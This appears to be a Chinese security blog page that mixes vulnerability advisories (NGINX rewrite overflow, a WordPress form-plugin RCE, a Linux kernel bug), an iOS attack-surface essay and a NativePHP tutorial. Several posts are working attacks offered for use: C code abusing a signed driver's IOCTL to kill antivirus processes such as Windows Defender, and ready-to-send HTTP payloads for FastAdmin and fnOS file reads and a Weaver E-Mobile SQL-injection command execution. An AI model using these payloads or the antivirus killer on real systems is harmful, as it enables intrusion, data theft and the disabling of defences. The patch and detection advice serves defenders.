日常随记

NGINX 再曝高危漏洞：rewrite 模块存在堆溢出漏洞（CVE-2026-9256）

Tue, 23 Jun 2026 10:07:26 +0800

NGINX 曝出重写模块堆缓冲区溢出漏洞（CVE-2026-9256，CVSS 8.1）。攻击者无需认证即可通过特制 HTTP 请求触发漏洞，导致 NGINX 工作进程崩溃和信息泄露，并可能造成远程代码执行。

利用前置条件：

攻击者能够网络访问目标平台/服务器
目标 NGINX 使用了 rewrite 指令
该 rewrite 处于 redirect 或参数拼接（?）场景
该 rewrite 使用了重叠的 PCRE 捕获组（如 ^/((.*))$）
该 rewrite 的替换字符串同时引用多个捕获组（如 $1$2）

目前 360漏洞挖掘智能体已成功复现该漏洞。本文包含完整影响范围、修复方案、技术原理与复现细节，建议用户立即升级。

漏洞概述
漏洞名称	NGINX ngx_http_rewrite_module 缓冲区溢出漏洞
漏洞编号	CVE-2026-9256
公开时间	2026-05-22	POC状态	已公开
漏洞类型	堆缓冲区溢出	EXP状态	未公开
利用可能性	高	技术细节状态	已公开
CVSS 3.1	8.1	在野利用状态	未发现

漏洞影响范围

受影响的软件版本：

NGINX Open Source 1.31.0

NGINX Open Source 1.0.0 <= 受影响版本 <= 1.30.1
NGINX Open Source 0.1.17 <= 受影响版本 <= 0.9.7

NGINX Plus 37.0.0

NGINX Plus R32 <= 受影响版本 <= R36

修复建议

正式防护方案

受影响用户请立即升级至以下安全版本：

NGINX Plus 升级至 37.0.1.1、R36 P5、R32 P7 版本

NGINX Open Source 升级至 1.31.1、1.30.2 版本

漏洞描述

近日，安全研究人员披露了 NGINX 中存在的堆缓冲区溢出漏洞（CVE-2026-9256）。该漏洞源于 NGINX 重写模块在运行时处理具有重叠捕获组的正则表达式时，未能正确计算所需的输出缓冲区大小。当重写指令使用存在重叠捕获组的正则表达式并在重定向或查询字符串替换中多次引用这些捕获时，系统对 URL 转义开销的预算偏小。攻击者通过发送包含大量需要 URL 转义字符的特制 HTTP 请求，可在写入缓冲区时触发堆溢出，进而导致工作进程崩溃重启。在成功绕过或关闭地址空间布局随机化（ASLR）的情况下，攻击者可借助该可控内存覆盖原语和相邻堆内存泄漏能力，可能实现任意代码执行。

漏洞复现

360漏洞研究院已成功复现 NGINX ngx_http_rewrite_module 缓冲区溢出漏洞（CVE-2026-9256），通过 POC 可远程未授权读取堆内存关键指针，并触发工作进程崩溃，验证了该漏洞可以实现信息泄露与 DoS 攻击。

CVE-2026-9256

NGINX ngx_http_rewrite_module 缓冲区溢出漏洞复现

产品侧支持情况

360安全智能体：支持该漏洞攻击的智能分析。

360测绘云 Quake：默认支持该产品的指纹识别。

360高级持续性威胁预警系统：预计 2026年05月27日发布规则更新包，支持该漏洞利用行为的检测。

360资产与漏洞检测管理系统：预计 2026年05月27日发布规则更新包，支持该漏洞利用行为的检测。
本地安全大脑：默认支持该漏洞的PoC检测。

时间线

2026年05月26日，360漏洞研究院发布本安全风险通告。

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2026-9256

https://my.f5.com/manage/s/article/K000161377

紧急预警：热门WordPress插件爆出高危RCE漏洞，攻击者已开始大规模接管网站

Tue, 23 Jun 2026 09:55:15 +0800

一个被大量 WordPress 网站使用的付费表单插件 Everest Forms Pro 爆出严重安全漏洞，漏洞编号为 CVE-2026-3300，危险等级达到 CVSS 9.8（Critical）。

更严重的是：

攻击者已经开始大规模利用。

安全研究人员确认，这一漏洞允许攻击者无需登录、无需账号，仅通过提交一个特殊构造的表单，就可能直接获取整个网站控制权。

漏洞概要

漏洞名称：

CVE-2026-3300

漏洞类型：

远程代码执行（Remote Code Execution / RCE）

影响版本：

Everest Forms Pro ≤ 1.9.12
免费版不受影响
修复版本：1.9.13 及以上版本

漏洞评分：

CVSS 9.8 / 10（Critical）

时间线：漏洞其实早已修复，但危险现在才真正开始

2月27日：

安全防护规则首先向高级防护用户推送。

3月18日：

厂商发布修复版本 1.9.13。

3月30日：

研究人员公开披露漏洞。

4月13日：

开始出现真实攻击活动。

漏洞到底怎么产生的？

问题来自插件中的：

Complex Calculation（复杂计算）功能

插件内部有一个用于计算复杂公式的处理逻辑。

研究人员发现：

插件会将用户提交的数据拼接进 PHP 代码字符串中。

随后直接执行。

核心问题在于：

用户输入 → 拼接进 PHP → eval 执行

虽然开发者试图使用过滤函数处理输入，但过滤逻辑无法阻止攻击者构造特殊字符逃逸代码执行环境。最终导致攻击者能够插入任意 PHP 代码。

哪些字段可以被利用？

只要网站启用了复杂计算功能。

攻击者就可能通过这些字段触发漏洞：

文本输入框
Email 输入框
URL 输入框
Select 下拉框
Radio 单选框

换句话说：

攻击者甚至不需要后台权限。

只要能访问表单即可。

攻击成功后会发生什么？

攻击者能够执行任意 PHP 代码。

意味着他们可以：

创建管理员账户

新增隐藏管理员账号长期控制网站。

上传 WebShell / 后门

实现长期驻留。

窃取数据库

包括：

用户数据
订单数据
邮箱信息
API 密钥

接管服务器

进一步攻击：

同服务器网站
内网资源
云环境

研究人员明确指出：

最终结果就是 Complete Site Compromise（完全沦陷）。

攻击规模已经多严重？

目前公开数据显示：

攻击者从 4 月开始利用
已拦截超过 29,300 次攻击尝试
攻击活动正在持续增长

安全研究人员认为：

随着漏洞利用脚本公开。

现在已经进入：

自动化扫描 + 批量攻击阶段。

为什么很多网站还没修？

原因其实很简单：

原因 1：这是付费插件

很多管理员不会频繁更新。

原因 2：漏洞藏在特殊功能中

许多人认为：

“我只是做个简单表单”

却忘记自己曾启用复杂计算。

原因 3：修复早，但技术细节最近才公开

攻击者往往等待：

PoC 出现 → 自动化利用 → 批量扫描

因此现在才是真正危险阶段。

如何检查自己是否已经中招？

建议立即检查：

1. 查看插件版本

如果：

≤ 1.9.12

立即升级。

2. 查看管理员账户

检查是否出现：

不认识的新管理员
奇怪用户名
最近创建账号

3. 检查异常 PHP 文件

重点查看：

wp-content/uploads/
themes/
plugins/

是否出现：

随机命名 php 文件
新增可疑目录

4. 查看日志

关注：

异常 POST 请求
大量表单提交
admin-ajax 请求暴增

立即处置建议

建议按照优先级处理：

第一优先级

升级到：

Everest Forms Pro 1.9.13+

第二优先级

禁用复杂计算功能（如果不需要）

第三优先级

检查：

管理员账户
上传目录
WebShell
数据库异常

第四优先级

部署：

WAF
安全插件
登录保护

总结

这是一个典型案例：

一个原本用于收集用户数据的表单插件因为错误执行用户输入最终变成攻击者执行代码的入口

现在的问题已经不是：

"漏洞会不会被利用"

而是：

"攻击者什么时候扫描到你的网站"

如果你仍在运行旧版 Everest Forms Pro。

现在最重要的事情只有一件：

立即升级。

#Simple #Everest Forms Pro #WordPress #CVE-2026-3300 #漏洞

紧急！全球 1/3 服务器中招：NGINX 漏洞应急与缓解指南

Tue, 23 Jun 2026 09:53:34 +0800

- 漏洞编号：CVE-2026-42945
- 严重程度：🔴 Critical (9.2) / High (8.1)
- 影响组件：ngx_http_rewrite_module (NGINX Open Source & Plus)
- 威胁等级：极高（无需认证即可触发 DoS，影响全球约 33% 网站）

二、紧急影响面排查

如果您正在运行 NGINX，请立即检查是否命中以下任一条件：

1. 版本检查：
- NGINX Open Source: 0.6.27 至 1.30.0 均受影响。
- NGINX Plus: R32 至 R36 均受影响。

2. 配置检查：
在 nginx.conf 中搜索同时包含 未命名正则捕获（$1, $2）和问号（?）的 rewrite 规则。

三、缓解与修复方案

✅ 方案 A：官方升级（推荐）
这是最安全、彻底的做法。

- NGINX Open Source: 升级至 1.31.0 或 1.30.1
- NGINX Plus: 升级至 R36 P4 或 R32 P6

⚠️ 注意：升级后必须重启 NGINX 服务以加载修复后的二进制文件。

🚑 方案 B：临时缓解（无法立即停机升级时）
如果业务暂不可中断，F5 官方提供了一项配置级别的缓解措施：使用命名捕获（Named Captures）替换未命名捕获。

原理：命名捕获（如 (?.*)）在 NGINX 内部走的是不同的代码路径，从而完美避开该漏洞的触发条件。

# 修改前（危险）rewrite ^/api/(.*)$ /proxy?url=$1  last;set $target $1;
# 修改后（安全）rewrite ^/api/(?<myname>.*)$ /proxy?url=$myname  last;
set $target $myname;
    

某想驱动存在任意结束进程漏洞

Tue, 23 Jun 2026 09:51:36 +0800

前言

在日常翻看 GitHub 追踪红队前沿武器库时,注意到了 PhantomKiller 这个项目。原理也很简单,利用带有合法数字签名的脆弱性驱动程序(即 BYOVD 漏洞),通过合法的驱动绕过 Windows 的驱动程序强制签名,利用驱动存在在结束进程函数结束杀软,在近几年来,白驱动出现的频率特别高,特别是在那几个知名的apt组织里,像银狐就很爱用白驱动杀某60,似乎他们很爱钻研kill杀软的思路,不过在实际的合法的攻防项目里,可能白驱动不太容易出现,一是很可能造成蓝屏导致业务停止,二是一般来说这涉及到客户真实系统的破坏性,所以白驱动更多的是偏研究性质的东西

仔细研读 PhantomKiller 的思路,它选择的白驱动是某想的驱动,这些驱动虽然有合法的数字签名,但其内部代码在处理应用层发送的 IOCTL

时,没有对传入的地址和数据做严格的校验,直接向应用层暴露了任意结束进程的函数。只要我们在 Ring 3 能够成功通过 CreateFile 打开这个驱动的设备对象,再用DeviceIoControl 喂给它精心构造的控制缓冲区,就能借用这个内核驱动的“结束杀软的进程,虽然一些安全厂商也开始对驱动攻击防护,例如拦截已知的漏洞驱动,拦截驱动加载等但对于大部分杀软这个方式还是很有效的

不管是在r3或者r0的权限上,实际结束杀软的方式千奇百怪,也发展出了很多r3上的强杀杀软的技术,例如当时的pool注入,com,未记录的函数等技术,但是在r3上,仍然需要面临很多的问题,例如函数被挂钩,虽然r3的钩子很好绕,但是内核的回调函数基本没啥办法,其次常见手段你无法打开edr的进程,很多时候哪怕权限很高,还有就是ppl的防护,更难对付的是一些前沿杀软的elam机制

驱动分析

可以看到驱动签名来源于某想

拉入ida后直接找DriverObject->MajorFunction[14],也就是sub_140001020

可以看到调用号为0x222014,漏洞函数为sub_14000198C

函数也十分简洁明了,就差把注释写脸上了,直接就是终结进程的函数,没有任何校验和其他逻辑

代码实现

#include <windows.h>#include <stdio.h>
int main(int argc, char* argv[]) { if (argc != 2) { printf("usage: poc.exe <pid>\n"); return 1; }
 DWORD pid = atoi(argv[1]); HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (h == INVALID_HANDLE_VALUE) { printf("[-] open device failed: %d\n", GetLastError()); return 1; }
 DWORD ret; if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL)) printf("[+] killed %d\n", pid); else printf("[-] ioctl failed: %d\n", GetLastError());
 CloseHandle(h); return 0;}

实战效果

window defender

这里模拟漏洞驱动加载

sc.exe create test binPath="test.sys" type=kernelsc.exe start test

可以看到成功杀死window defender 注意 defender会不断重启写个while循环反复kill即可

iOS 漏洞为什么总出在这几个组件

Tue, 23 Jun 2026 09:45:00 +0800

iOS 漏洞为什么总出在这几个组件

4249 个漏洞、79 个在野利用、40+ 个组件————但真正的杀机，集中在不到 5 个名字上。

一、一个反直觉的事实

从 2007 年 iPhone OS 1 到 2026 年 iOS 26，苹果在安全公告中披露了 4249 个安全漏洞，其中 79 个被确认在野利用（in-the-wild exploit）。这组数字本身并不令人意外————一个运行了将近二十年的操作系统，漏洞数量庞大是正常的。

真正令人惊讶的是这 4249 个漏洞的分布。

如果把 iOS 的 40 多个安全组件按漏洞数量排个序，前三大集群————WebKit、内核、媒体处理————合在一起，占据了全部漏洞的 45%，却包揽了在野利用的 94%。

这不是"雨露均沾"的故事，而是"赢家通吃"的战场。

二、漏洞的 80/20 法则

让我们把数据摊开来看：

集群	漏洞数	在野利用数	利用占比
WebKit 集群	802	45	56.3%
内核集群	607	21	26.6%
媒体处理集群	518	8	10.1%
其他所有组件	2322	5	6.3%
合计	4249	79	100%

WebKit 和内核两个集群加起来，占全部漏洞的 33%，但占全部在野利用的 83%。如果再加上媒体处理集群，三个集群就拿下了在野利用的 94%。

这就是 iOS 安全的"80/20 法则"————只不过实际上比 80/20 更极端，更接近 90/10。

打个比方：iOS 的攻击面就像一座城池，有四十多扇门，但攻城者几乎只从三扇门冲锋。不是因为其他门没有锁，而是这三扇门后面就是金库。

三、为什么是这三个集群？

WebKit：浏览器即操作系统

WebKit 是 iOS 上最大的单一攻击面，没有之一。802 个漏洞、45 个在野利用，这两个数字都远超任何其他组件。

原因很本质：WebKit 就是一个操作系统里的操作系统。它要解析 HTML、执行 JavaScript、渲染 CSS、解码图片、处理字体、管理网络请求、维护沙箱————一个现代浏览器引擎的复杂度，已经不亚于一个操作系统内核。而 iOS 上所有 App 的内嵌网页渲染，默认都必须使用 WebKit（这是苹果的 App Store 审核规则）。

这意味着：Safari 用它，邮件 App 用它，消息 App 用它，甚至你刷到的一个广告页也在用它。攻击者不需要你打开某个特定 App————任何能渲染网页的场景，都是 WebKit 的战场。

内核：提权的终南捷径

XNU 内核是 iOS 安全的根基。607 个漏洞、21 个在野利用，数量不如 WebKit，但杀伤力更致命。

内核漏洞的价值在于提权（privilege escalation）。Webkit 漏洞能让你在沙箱里"越狱"，但沙箱里的权限有限。内核漏洞能让你跳出沙箱，获得 root 权限，甚至禁用系统的安全机制。在几乎所有完整的攻击链中，内核漏洞都是不可或缺的一环————它是从"有限控制"到"完全控制"的关键跳板。

内核集群中，除了 XNU 本体（437 个漏洞），还有几个特别"高产"的子组件：IOMobileFrameBuffer 虽然只有 19 个漏洞，却有 4 个在野利用（21% 的利用比率，远超平均水平）；IOSurfaceAccelerator 的利用比率也高得吓人。这些驱动层面的组件，代码量不大，但处于内核态运行，一旦出问题就是致命的。

媒体处理：零点击的最佳入口

媒体处理集群有 518 个漏洞、8 个在野利用。数量上不如前两者，但它有一个独特属性：它是零点击攻击（zero-click attack）的首选入口。

ImageIO、FontParser、CoreGraphics、CoreMedia————这些组件的共同特点是：它们在后台自动处理用户接收到的数据，无需用户任何交互。你收到一条 iMessage，里面有一张图片，ImageIO 就会自动解析它。你收到一个字体文件，FontParser 就会自动处理它。甚至邮件中的一个 PDF 附件，CoreGraphics 也会在后台预览渲染。

这就是 FORCEDENTRY 攻击的原理————一张特制的 PDF 图片，经过 CoreGraphics 解析，就能在用户毫不知情的情况下攻破设备。不需要点击，不需要打开，数据到达即攻击。

四、和 Android 的对比

iOS 的漏洞集中度远高于 Android，这背后有架构差异的原因：

Android 的攻击面更分散。 Android 设备的基带处理器、Wi-Fi 芯片、蓝牙栈都有大量独立漏洞，因为 Android OEM 厂商各自实现这些组件，代码来源五花八门。而苹果自研 A 系列芯片、统一管理驱动，使得 iOS 在这些无线攻击面上的漏洞相对较少。

iOS 的 WebKit 是强制垄断。 所有 iOS App 必须使用 WebKit 渲染网页（不像 Android 允许 Chrome/Chromium），这让 WebKit 成为 iOS 上独一无二的高价值目标。Android 的浏览器漏洞分散在 Chrome、WebView、各厂商定制浏览器中。

iOS 内核统一但单点风险高。 XNU 内核在所有 iOS 设备上一致，一处漏洞全设备通杀。Android 的 Linux 内核因 OEM 定制而碎片化，一个内核漏洞往往只能影响部分设备————这既是安全优势（攻击面分散），也是安全噩梦（补丁推送困难）。

简言之：Android 漏洞多但分散，iOS 漏洞集中但致命。

五、三个集群的协作关系

这三个集群不是孤立的，它们在真实攻击中形成了一条清晰的攻击链：

媒体处理 (零点击入口)
    → WebKit (代码执行)
        → 内核 (提权)
            → 完全控制设备

大多数在野攻击链都遵循这个模式：

1. 入口：通过媒体处理组件（ImageIO、FontParser）或 WebKit 实现初始代码执行
2. 沙箱逃逸：通过 WebKit 或其他机制突破沙箱限制
3. 提权：通过内核漏洞获得 root 权限
4. 持久化/功能：完全控制设备，部署间谍软件

FORCEDENTRY（2021）走的是"媒体处理 → 内核"路线；BLASTPASS（2023）走的是"WebKit → 内核"路线；Operation Triangulation（2023）则利用了 iMessage 的隐藏附件处理机制。路径不同，终点一致。

六、苹果的应对

苹果并非没有意识到这种集中性风险。近年来的防御策略，本质上就是在给这三扇门加锁：

• WebKit 加固：引入 PAC（指针认证码）、JIT 编译器强化、网站隔离（Site Isolation）、Lockdown Mode 中禁用部分 WebKit 特性
• 内核加固：KTRR/CTRR（内核只读区域保护）、kalloc/free 机制强化、iOS 16 引入的快速安全响应（Rapid Security Response）
• 媒体处理隔离：将 ImageIO、FontParser 等移入独立沙箱进程，限制其权限；iOS 15 起 iMessage 不再自动加载附件

但这些加固有一个共同的局限：它们是在原有架构上的修补，而非架构的重构。WebKit 依然复杂，内核依然是单点，媒体处理依然要自动解析不受信任的数据。只要这些根本条件不变，漏洞就会继续集中在这些组件中。

七、本系列要做什么

"苹果攻防志·组件篇"系列将逐一深入 iOS 上最关键的攻击面，从漏洞数据、技术原理、在野利用案例到苹果的防御演进，给出完整的攻防图景。

接下来的七篇文章，你会看到：

• WebKit 为什么被称为"新 Flash"，45 个在野利用是怎么发生的
• XNU 内核的哪些子组件最脆弱，IOMobileFrameBuffer 为什么四度被在野利用
• 一张图片、一个字体如何成为零点击攻击的弹药
• 无线攻击面（Wi-Fi、蓝牙、基带）为什么在 iOS 上相对安静
• Safari、iMessage 这些 App 层的攻击入口
• 从 FORCEDENTRY 到 Operation Triangulation 的完整攻击链复盘
• 从零开始理解 iOS 安全术语

每一篇文章都值得单独关注，但更值得把它们连起来读————因为 iOS 攻防从来不是单个组件的故事，而是组件之间如何协作、如何被链条式攻破的故事。

苹果攻防志·组件篇系列目录

• No.00 总序：iOS 漏洞为什么总出在这几个组件（本文）
• No.01 WebKit：苹果最危险的组件没有之一
• No.02 Kernel：从提权到越狱的必经之路
• No.03 媒体处理：一张图片一个字体就能攻破
• No.04 无线攻击面：Wi-Fi、蓝牙和基带
• No.05 App 层：Safari、消息和那些不起眼的后门
• No.06 在野利用链：从 FORCEDENTRY 到 Operation Triangulation
• No.07 iOS 安全术语从小白到入门

一个存在9年的Linux内核漏洞使得在主流发行版上可以执行root命令

Tue, 23 Jun 2026 09:43:35 +0800

该漏洞编号为CVE-2026-46333（CVSS 评分：5.5），是由于权限管理不当造成的，可能允许非特权本地用户泄露敏感文件，并在 Debian、Fedora 和 Ubuntu 等多个主流发行版的默认安装中以 root 权限执行任意命令。该漏洞的代号为 ssh-keysign-pwn。

成功利用此漏洞可能允许本地攻击者泄露 /etc/shadow 和 /etc/ssh/*_key 下的主机私钥，并通过针对 chage、ssh-keysign、pkexec 和 accounts-daemon 的四个不同的漏洞利用程序以 root 身份执行任意命令。

此次披露正值该漏洞的概念验证（PoC）利用程序上周发布之际，此前不久，一个公开的内核提交也已出现。CVE-2026-46333 是继过去一个月内披露的 Copy Fail、 Dirty Frag和 Fragnesia漏洞之后，Linux 内核中最新披露的安全漏洞。

建议应用 Linux 发行版发布的最新内核更新。如果无法立即进行更新，临时解决方法包括将“kernel.yama.ptrace_scope”的值提高到 2。

Qualys表示：“对于在暴露期间允许不受信任的本地用户访问的主机，应将SSH主机密钥和本地缓存的凭据视为可能已泄露。轮换主机密钥，并审查任何存储在set-uid进程内存中的管理资料。”

此次开发源于一个名为PinTheft 的本地权限提升漏洞的概念验证 (PoC) 的发布，该漏洞允许本地攻击者在 Arch Linux 系统上获取 root 权限。该漏洞利用需要目标系统加载可靠数据报套接字 (RDS) 模块、启用 io_ring、拥有可读的 SUID-root 二进制文件，以及包含的有效载荷支持 x86_64 架构。

“该漏洞存在于 RDS 零拷贝发送路径中。rds_message_zcopy_from_user() 函数会逐个锁定用户页面。如果后续页面发生错误，错误路径会丢弃已锁定的页面，而后续的 RDS 消息清理操作会再次丢弃这些页面，因为在零拷贝通知器清除后，分散列表条目和条目计数仍然有效。每次零拷贝发送失败都可能导致第一个页面的一个引用被窃取。”

Fastadmin框架任意文件读取漏洞附POC

Thu, 12 Feb 2026 22:29:42 +0800

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

—

漏洞名称

Fastadmin框架任意文件读取漏洞

—

影响版本

—

漏洞简介

FastAdmin后台框架开源且可以免费商用，一键生成 CRUD,FastAdmin是一款基于ThinkPHP 和 Bootstrap 的极速后台开发框架，基于Auth验证的权限管理系统,一键生成 CRUD,自动生成控制器、模型、视图JS、语言包、菜单、回收站等。FastAdmin框架的lang接口存在任意文件读取漏洞，该漏洞允许未授权攻击者通过构造特定请求读取系统敏感文件，如数据库配置文件、系统配置文件等。

—

资产测绘

body="/assets/js/require.js"

—

漏洞复现

POC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: think_var=..%2F..%2Fapplication%2Fdatabase; PHPSESSID=m0lgoj6m4hovmtisu1868cc8h5Upgrade-Insecure-Requests: 1Priority: u=0, iPragma: no-cacheCache-Control: no-cache

—

修复建议

升级到安全版本

—

往期回顾

泛微E-Mobile 远程命令执行漏洞（RCE）附POC

Thu, 12 Feb 2026 20:05:18 +0800

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

—

漏洞名称

泛微E-Mobile 远程命令执行漏洞

—

影响版本

泛微E-Mobile移动管理平台多个版本，部分漏洞影响版本为2024.3前

版本，部分涉及E-Mobile 6.0等版本。

—

漏洞简介

泛微e-Mobile移动管理平台是上海泛微网络科技股份有限公司推出的一款移动办公平台，旨在帮助企业构建以员工为核心的移动统一办公平台。它将企业ERP、CRM、OA等各类系统应用融合在一个平台，覆盖组织管理、业务、财务等各方面，通过统一组织、统一消息、统一应用、统一搜索、统一报表等功能，实现信息聚合与高效协同。攻击者可利用漏洞绕过身份验证，执行任意系统命令，获取服务器控制权，可能导致数据泄露、系统被控、植入后门等严重后果。

—

资产测绘

"Weaver E-Mobile"

—

漏洞复现

POC

POST /client.do HTTP/1.1Host:  127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=abcrCRF1rJkt_4V8s_ikz; ecology_JSessionid=abcrCRF1rJkt_4V8s_ikz; testBanCookie=test; Systemlanguid=7Upgrade-Insecure-Requests: 1Priority: u=0, iPragma: no-cacheCache-Control: no-cacheContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Length: 1131------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition: form-data; name="method"getupload------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition: form-data; name="uploadID"1';CREATE ALIAS if not exists abcd AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL abcd('whoami');--------WebKitFormBoundaryyBvZrAkWyCD8dThV--

—

修复建议

升级到安全版本

—

往期回顾

飞牛系统（fnOS）任意文件读取漏洞附POC

Thu, 12 Feb 2026 20:04:12 +0800

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

—

漏洞名称

飞牛系统（fnOS）任意文件读取漏洞

—

影响版本

受影响的版本为1.1.15以下

—

漏洞简介

飞牛系统（fnOS）是一款国产网络附加存储（NAS）操作系统。飞牛系统（fnOS）适合追求功能丰富、预算有限且对数据安全要求不高的用户，尤其适合闲置硬件改造和影视娱乐场景。攻击者通过构造恶意请求，利用路径遍历字符（如../）绕过系统路径限制，直接访问服务器文件系统中的任意文件。攻击者可尝试读取服务器上的/etc/passwd文件，若漏洞存在，服务器将返回文件内容。

—

资产测绘

icon_hash="470295793"

—

漏洞复现

POC

GET /app-center-static/serviceicon/myapp/{0}/?size=../../../../etc/passwd HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, i

—

修复建议

升级到最新版本。

—

往期回顾

5 分钟打造你的第一个 NativePHP 移动应用

Thu, 12 Feb 2026 20:00:52 +0800

介绍

你是一名 Laravel 开发者。你熟悉 Blade、Livewire，或许还会一点 Vue 或 React。但你从来没有碰过 Swift 或者 Kotlin。

好消息：你完全不需要学它们。

NativePHP for Mobile 让你可以用已有的技能，开发出真正的原生 iOS 和 Android 应用。接下来 5 分钟内，你就能在自己手机上运行一个应用。

最快路径：使用 Jump

忘掉下载 Xcode（40GB+）。忘掉配置 Android Studio。全部都不需要。

Jump 是一款免费应用，它可以让你瞬间在真机上测试 NativePHP 应用，无需编译。

步骤 1：在手机上安装 Jump

前往以下地址下载 Jump：
https://bifrost.nativephp.com/jump

步骤 2：创建一个 Laravel 项目



1
2

laravel new my-mobile-app
cd my-mobile-app

步骤 3：安装 NativePHP Mobile



1

composer require nativephp/mobile

步骤 4：启动 Jump 服务器



1

php artisan native:jump

终端会显示一个 二维码。

步骤 5：扫码启动

打开手机上的 Jump 应用，扫描终端中的二维码……

就结束了。

你刚刚用 PHP 写了一个能在手机上运行的原生应用，而且只花了 5 分钟。

刚才到底发生了什么？

内嵌了 PHP 运行时 —— 预编译的 PHP 运行在设备本地

直接运行 Laravel —— 你的应用运行在手机本地，而不是远程服务器

桥接到原生 API —— PHP 代码可以直接调用 iOS / Android 原生接口

无需 Web 服务器 —— 完全离线可用

这不是 WebView 包装。这是真正的 PHP 原生运行。

完整的打包发布流程

如果需要发布到 App Store 或 Google Play：



1
2
3

composer require nativephp/mobile
php artisan native:install
php artisan native:run

第一个原生功能演示：触觉反馈

我们用一个 Web 应用永远做不到的功能来证明这是真原生——触觉振动（Haptic Feedback）。

在 Livewire 中的写法（PHP）



1

<button wire:click="vibrate">感受一下</button>



1
2
3
4
5
6

use Native\Mobile\Facades\Device;
 
public function vibrate()
{
    Device::vibrate();
}

在 Vue / React / Inertia 中的写法（JavaScript）



1
2
3
4
5
6
7
8
9
10
11

<template>
    <button @click="vibrate">感受一下</button>
</template>
 
<script setup>
import { Device } from '@nativephp/mobile'
 
const vibrate = async () => {
    await Device.vibrate()
}
</script>

点击按钮。你感觉到了吗？ 那是手机真实的振动反馈。普通 Web 应用永远做不到这一点，但你现在已经做到了。

恭喜🎉，你现在是一名移动开发者了。

原文链接：https://nativephp.com/blog/your-first-nativephp-mobile-app-in-5-minutes）

日常随记

NGINX 再曝高危漏洞：rewrite 模块存在堆溢出漏洞（CVE-2026-9256）

紧急预警：热门WordPress插件爆出高危RCE漏洞，攻击者已开始大规模接管网站

漏洞概要

时间线：漏洞其实早已修复，但危险现在才真正开始

漏洞到底怎么产生的？

哪些字段可以被利用？

攻击成功后会发生什么？

创建管理员账户

上传 WebShell / 后门

窃取数据库

接管服务器

攻击规模已经多严重？

为什么很多网站还没修？

原因 1：这是付费插件

原因 2：漏洞藏在特殊功能中

原因 3：修复早，但技术细节最近才公开

如何检查自己是否已经中招？

1. 查看插件版本

2. 查看管理员账户

3. 检查异常 PHP 文件

4. 查看日志

立即处置建议

第一优先级

第二优先级

第三优先级

第四优先级

总结

紧急！全球 1/3 服务器中招：NGINX 漏洞应急与缓解指南

二、 紧急影响面排查

三、 缓解与修复方案

某想驱动存在任意结束进程漏洞

前言

驱动分析

代码实现

实战效果

相关代码

iOS 漏洞为什么总出在这几个组件

iOS 漏洞为什么总出在这几个组件

一、一个反直觉的事实

二、漏洞的 80/20 法则

三、为什么是这三个集群？

WebKit：浏览器即操作系统

内核：提权的终南捷径

媒体处理：零点击的最佳入口

四、和 Android 的对比

五、三个集群的协作关系

六、苹果的应对

七、本系列要做什么

一个存在9年的Linux内核漏洞使得在主流发行版上可以执行root命令

Fastadmin框架任意文件读取漏洞 附POC

Fastadmin框架任意文件读取漏洞

泛微E-Mobile 远程命令执行漏洞（RCE）附POC

泛微E-Mobile 远程命令执行漏洞

飞牛系统（fnOS）任意文件读取漏洞 附POC

5 分钟打造你的第一个 NativePHP 移动应用

介绍

最快路径：使用 Jump

步骤 1：在手机上安装 Jump

步骤 2：创建一个 Laravel 项目

步骤 3：安装 NativePHP Mobile

步骤 4：启动 Jump 服务器

步骤 5：扫码启动

